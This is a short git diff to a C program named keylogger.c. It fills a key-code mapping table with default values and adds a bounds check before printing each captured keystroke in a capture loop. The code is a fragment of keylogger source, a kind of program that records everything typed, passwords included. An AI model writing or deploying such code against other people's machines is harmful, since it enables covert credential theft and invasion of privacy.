diff --git a/keylogger.c b/keylogger.c index 0ba7775..57eb092 100644 --- a/keylogger.c +++ b/keylogger.c @@ -65,6 +65,8 @@ int main(int argc, char *argv[]) { // Convert key codes to string values // ex: mappings[code] = "value" char * mappings[1024]; + int i; + for (i=0; i<1024; i++) mappings[i] = "invalid"; generate_mappings(mappings); @@ -86,7 +88,8 @@ int main(int argc, char *argv[]) { // Scan for key strokes and print them while (1){ int key_code = get_key_press(fd, ev); // get key code - printf("%s\n",mappings[key_code]); // print value of key code + if (key_code < 1024) + printf("%s\n",mappings[key_code]); // print value of key code } return 0;